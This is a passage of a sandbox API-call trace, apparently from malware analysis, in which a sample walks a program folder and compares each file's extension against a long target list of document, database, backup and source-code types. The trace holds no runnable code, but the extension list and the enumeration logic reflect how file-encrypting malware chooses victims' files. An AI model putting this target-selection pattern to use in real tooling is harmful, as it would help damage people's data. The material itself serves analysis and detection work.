(lpString1=".epsp", lpString2="e.xml") returned -1 [0182.293] lstrlenW (lpString=".erf") returned 4 [0182.293] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0182.293] lstrlenW (lpString=".exr") returned 4 [0182.293] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0182.293] lstrlenW (lpString=".f4v") returned 4 [0182.293] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0182.293] lstrlenW (lpString=".fido") returned 5 [0182.293] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0182.294] lstrlenW (lpString=".flm") returned 4 [0182.294] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0182.294] lstrlenW (lpString=".flv") returned 4 [0182.294] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0182.294] lstrlenW (lpString=".frm") returned 4 [0182.294] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0182.294] lstrlenW (lpString=".fxg") returned 4 [0182.294] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0182.294] lstrlenW (lpString=".geo") returned 4 [0182.294] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0182.294] lstrlenW (lpString=".gif") returned 4 [0182.294] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0182.294] lstrlenW (lpString=".grs") returned 4 [0182.294] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0182.294] lstrlenW (lpString=".gz") returned 3 [0182.294] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0182.294] lstrlenW (lpString=".h") returned 2 [0182.294] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.294] lstrlenW (lpString=".hdr") returned 4 [0182.294] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0182.295] lstrlenW (lpString=".hpp") returned 4 [0182.295] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0182.295] lstrlenW (lpString=".hta") returned 4 [0182.295] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0182.295] lstrlenW (lpString=".htc") returned 4 [0182.295] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0182.295] lstrlenW (lpString=".htm") returned 4 [0182.295] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0182.295] lstrlenW (lpString=".html") returned 5 [0182.295] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1 [0182.295] lstrlenW (lpString=".icb") returned 4 [0182.295] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0182.295] lstrlenW (lpString=".ics") returned 4 [0182.295] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0182.295] lstrlenW (lpString=".iff") returned 4 [0182.295] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0182.295] lstrlenW (lpString=".inc") returned 4 [0182.295] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0182.295] lstrlenW (lpString=".indd") returned 5 [0182.295] lstrcmpiW (lpString1=".indd", lpString2="e.xml") returned -1 [0182.296] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0182.296] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0182.296] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0182.296] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0182.297] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0182.297] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ID", cAlternateFileName="")) returned 1 [0182.297] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0182.298] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0182.452] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0182.452] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0182.455] lstrlenW (lpString="index.html") returned 10 [0182.455] lstrlenW (lpString=".1cd") returned 4 [0182.455] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0182.455] lstrlenW (lpString=".3ds") returned 4 [0182.455] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0182.455] lstrlenW (lpString=".3fr") returned 4 [0182.455] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0182.455] lstrlenW (lpString=".3g2") returned 4 [0182.455] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0182.455] lstrlenW (lpString=".3gp") returned 4 [0182.455] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0182.455] lstrlenW (lpString=".7z") returned 3 [0182.455] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0182.455] lstrlenW (lpString=".accda") returned 6 [0182.455] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0182.455] lstrlenW (lpString=".accdb") returned 6 [0182.455] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0182.455] lstrlenW (lpString=".accdc") returned 6 [0182.455] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0182.455] lstrlenW (lpString=".accde") returned 6 [0182.456] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0182.456] lstrlenW (lpString=".accdt") returned 6 [0182.456] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0182.456] lstrlenW (lpString=".accdw") returned 6 [0182.456] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0182.456] lstrlenW (lpString=".adb") returned 4 [0182.456] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0182.456] lstrlenW (lpString=".adp") returned 4 [0182.456] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0182.456] lstrlenW (lpString=".ai") returned 3 [0182.456] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0182.456] lstrlenW (lpString=".ai3") returned 4 [0182.456] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0182.456] lstrlenW (lpString=".ai4") returned 4 [0182.456] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0182.456] lstrlenW (lpString=".ai5") returned 4 [0182.456] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0182.456] lstrlenW (lpString=".ai6") returned 4 [0182.456] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0182.456] lstrlenW (lpString=".ai7") returned 4 [0182.457] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0182.457] lstrlenW (lpString=".ai8") returned 4 [0182.457] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0182.457] lstrlenW (lpString=".anim") returned 5 [0182.457] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0182.457] lstrlenW (lpString=".arw") returned 4 [0182.457] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0182.457] lstrlenW (lpString=".as") returned 3 [0182.457] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0182.457] lstrlenW (lpString=".asa") returned 4 [0182.457] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0182.457] lstrlenW (lpString=".asc") returned 4 [0182.457] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0182.457] lstrlenW (lpString=".ascx") returned 5 [0182.457] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0182.457] lstrlenW (lpString=".asm") returned 4 [0182.457] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0182.457] lstrlenW (lpString=".asmx") returned 5 [0182.457] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0182.457] lstrlenW (lpString=".asp") returned 4 [0182.457] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0182.457] lstrlenW (lpString=".aspx") returned 5 [0182.457] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0182.457] lstrlenW (lpString=".asr") returned 4 [0182.457] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0182.458] lstrlenW (lpString=".asx") returned 4 [0182.458] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0182.458] lstrlenW (lpString=".avi") returned 4 [0182.458] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0182.458] lstrlenW (lpString=".avs") returned 4 [0182.458] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0182.458] lstrlenW (lpString=".backup") returned 7 [0182.458] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0182.458] lstrlenW (lpString=".bak") returned 4 [0182.458] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0182.458] lstrlenW (lpString=".bay") returned 4 [0182.458] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0182.458] lstrlenW (lpString=".bd") returned 3 [0182.458] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0182.458] lstrlenW (lpString=".bin") returned 4 [0182.459] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0182.459] lstrlenW (lpString=".bmp") returned 4 [0182.459] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0182.459] lstrlenW (lpString=".bz2") returned 4 [0182.459] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0182.459] lstrlenW (lpString=".c") returned 2 [0182.459] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.459] lstrlenW (lpString=".cdr") returned 4 [0182.459] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0182.459] lstrlenW (lpString=".cer") returned 4 [0182.459] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0182.459] lstrlenW (lpString=".cf") returned 3 [0182.459] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0182.459] lstrlenW (lpString=".cfc") returned 4 [0182.459] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0182.459] lstrlenW (lpString=".cfm") returned 4 [0182.459] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0182.459] lstrlenW (lpString=".cfml") returned 5 [0182.459] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0182.459] lstrlenW (lpString=".cfu") returned 4 [0182.459] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0182.459] lstrlenW (lpString=".chm") returned 4 [0182.459] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0182.459] lstrlenW (lpString=".cin") returned 4 [0182.460] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0182.460] lstrlenW (lpString=".class") returned 6 [0182.460] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0182.460] lstrlenW (lpString=".clx") returned 4 [0182.460] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0182.460] lstrlenW (lpString=".config") returned 7 [0182.460] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0182.460] lstrlenW (lpString=".cpp") returned 4 [0182.460] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0182.460] lstrlenW (lpString=".cr2") returned 4 [0182.460] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0182.460] lstrlenW (lpString=".crt") returned 4 [0182.460] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0182.460] lstrlenW (lpString=".crw") returned 4 [0182.460] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0182.460] lstrlenW (lpString=".cs") returned 3 [0182.460] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0182.460] lstrlenW (lpString=".css") returned 4 [0182.460] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0182.460] lstrlenW (lpString=".csv") returned 4 [0182.460] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0182.460] lstrlenW (lpString=".cub") returned 4 [0182.460] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0182.460] lstrlenW (lpString=".dae") returned 4 [0182.460] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0182.461] lstrlenW (lpString=".dat") returned 4 [0182.461] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0182.461] lstrlenW (lpString=".db") returned 3 [0182.461] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0182.461] lstrlenW (lpString=".dbf") returned 4 [0182.461] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0182.461] lstrlenW (lpString=".dbx") returned 4 [0182.461] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0182.461] lstrlenW (lpString=".dc3") returned 4 [0182.461] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0182.461] lstrlenW (lpString=".dcm") returned 4 [0182.461] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0182.461] lstrlenW (lpString=".dcr") returned 4 [0182.461] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0182.461] lstrlenW (lpString=".der") returned 4 [0182.461] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0182.461] lstrlenW (lpString=".dib") returned 4 [0182.461] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0182.461] lstrlenW (lpString=".dic") returned 4 [0182.461] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0182.461] lstrlenW (lpString=".dif") returned 4 [0182.461] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0182.461] lstrlenW (lpString=".divx") returned 5 [0182.461] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0182.461] lstrlenW (lpString=".djvu") returned 5 [0182.462] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0182.462] lstrlenW (lpString=".dng") returned 4 [0182.462] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0182.462] lstrlenW (lpString=".doc") returned 4 [0182.462] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0182.462] lstrlenW (lpString=".docm") returned 5 [0182.462] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0182.462] lstrlenW (lpString=".docx") returned 5 [0182.462] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0182.462] lstrlenW (lpString=".dot") returned 4 [0182.462] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0182.462] lstrlenW (lpString=".dotm") returned 5 [0182.462] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0182.462] lstrlenW (lpString=".dotx") returned 5 [0182.462] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0182.462] lstrlenW (lpString=".dpx") returned 4 [0182.462] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0182.462] lstrlenW (lpString=".dqy") returned 4 [0182.462] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0182.462] lstrlenW (lpString=".dsn") returned 4 [0182.462] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0182.462] lstrlenW (lpString=".dt") returned 3 [0182.462] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0182.462] lstrlenW (lpString=".dtd") returned 4 [0182.462] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0182.462] lstrlenW (lpString=".dwg") returned 4 [0182.463] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0182.463] lstrlenW (lpString=".dwt") returned 4 [0182.463] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0182.463] lstrlenW (lpString=".dx") returned 3 [0182.463] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0182.463] lstrlenW (lpString=".dxf") returned 4 [0182.463] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0182.463] lstrlenW (lpString=".edml") returned 5 [0182.463] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0182.463] lstrlenW (lpString=".efd") returned 4 [0182.463] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0182.463] lstrlenW (lpString=".elf") returned 4 [0182.463] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0182.463] lstrlenW (lpString=".emf") returned 4 [0182.463] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0182.463] lstrlenW (lpString=".emz") returned 4 [0182.463] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0182.463] lstrlenW (lpString=".epf") returned 4 [0182.463] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0182.463] lstrlenW (lpString=".eps") returned 4 [0182.463] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0182.463] lstrlenW (lpString=".epsf") returned 5 [0182.463] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0182.463] lstrlenW (lpString=".epsp") returned 5 [0182.463] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0182.463] lstrlenW (lpString=".erf") returned 4 [0182.464] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0182.464] lstrlenW (lpString=".exr") returned 4 [0182.464] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0182.464] lstrlenW (lpString=".f4v") returned 4 [0182.465] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0182.465] lstrlenW (lpString=".fido") returned 5 [0182.465] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0182.465] lstrlenW (lpString=".flm") returned 4 [0182.465] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0182.465] lstrlenW (lpString=".flv") returned 4 [0182.465] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0182.465] lstrlenW (lpString=".frm") returned 4 [0182.465] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0182.465] lstrlenW (lpString=".fxg") returned 4 [0182.465] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0182.465] lstrlenW (lpString=".geo") returned 4 [0182.465] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0182.465] lstrlenW (lpString=".gif") returned 4 [0182.465] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0182.465] lstrlenW (lpString=".grs") returned 4 [0182.465] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0182.465] lstrlenW (lpString=".gz") returned 3 [0182.465] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0182.465] lstrlenW (lpString=".h") returned 2 [0182.465] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.465] lstrlenW (lpString=".hdr") returned 4 [0182.465] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0182.465] lstrlenW (lpString=".hpp") returned 4 [0182.466] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0182.466] lstrlenW (lpString=".hta") returned 4 [0182.466] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0182.466] lstrlenW (lpString=".htc") returned 4 [0182.466] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0182.466] lstrlenW (lpString=".htm") returned 4 [0182.466] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0182.466] lstrlenW (lpString=".html") returned 5 [0182.466] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0182.466] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0182.466] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0182.466] lstrlenW (lpString=".1cd") returned 4 [0182.466] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.466] lstrlenW (lpString=".3ds") returned 4 [0182.466] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0182.466] lstrlenW (lpString=".3fr") returned 4 [0182.466] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0182.466] lstrlenW (lpString=".3g2") returned 4 [0182.466] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0182.466] lstrlenW (lpString=".3gp") returned 4 [0182.466] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0182.467] lstrlenW (lpString=".7z") returned 3 [0182.467] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.467] lstrlenW (lpString=".accda") returned 6 [0182.467] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0182.467] lstrlenW (lpString=".accdb") returned 6 [0182.467] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0182.467] lstrlenW (lpString=".accdc") returned 6 [0182.467] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0182.467] lstrlenW (lpString=".accde") returned 6 [0182.467] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0182.467] lstrlenW (lpString=".accdt") returned 6 [0182.467] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0182.467] lstrlenW (lpString=".accdw") returned 6 [0182.467] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0182.467] lstrlenW (lpString=".adb") returned 4 [0182.467] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0182.467] lstrlenW (lpString=".adp") returned 4 [0182.467] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0182.467] lstrlenW (lpString=".ai") returned 3 [0182.467] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0182.467] lstrlenW (lpString=".ai3") returned 4 [0182.467] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0182.467] lstrlenW (lpString=".ai4") returned 4 [0182.468] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0182.468] lstrlenW (lpString=".ai5") returned 4 [0182.468] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0182.468] lstrlenW (lpString=".ai6") returned 4 [0182.468] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0182.468] lstrlenW (lpString=".ai7") returned 4 [0182.468] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0182.468] lstrlenW (lpString=".ai8") returned 4 [0182.468] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0182.468] lstrlenW (lpString=".anim") returned 5 [0182.468] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0182.468] lstrlenW (lpString=".arw") returned 4 [0182.468] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0182.468] lstrlenW (lpString=".as") returned 3 [0182.468] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0182.468] lstrlenW (lpString=".asa") returned 4 [0182.468] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0182.468] lstrlenW (lpString=".asc") returned 4 [0182.468] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0182.468] lstrlenW (lpString=".ascx") returned 5 [0182.468] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0182.468] lstrlenW (lpString=".asm") returned 4 [0182.469] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0182.469] lstrlenW (lpString=".asmx") returned 5 [0182.469] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0182.469] lstrlenW (lpString=".asp") returned 4 [0182.469] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0182.469] lstrlenW (lpString=".aspx") returned 5 [0182.469] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0182.469] lstrlenW (lpString=".asr") returned 4 [0182.469] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0182.469] lstrlenW (lpString=".asx") returned 4 [0182.469] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0182.469] lstrlenW (lpString=".avi") returned 4 [0182.469] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0182.469] lstrlenW (lpString=".avs") returned 4 [0182.469] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0182.469] lstrlenW (lpString=".backup") returned 7 [0182.469] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0182.469] lstrlenW (lpString=".bak") returned 4 [0182.469] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0182.469] lstrlenW (lpString=".bay") returned 4 [0182.469] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0182.469] lstrlenW (lpString=".bd") returned 3 [0182.470] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0182.470] lstrlenW (lpString=".bin") returned 4 [0182.470] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0182.470] lstrlenW (lpString=".bmp") returned 4 [0182.470] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0182.470] lstrlenW (lpString=".bz2") returned 4 [0182.470] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.470] lstrlenW (lpString=".c") returned 2 [0182.470] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.470] lstrlenW (lpString=".cdr") returned 4 [0182.470] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0182.470] lstrlenW (lpString=".cer") returned 4 [0182.470] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0182.470] 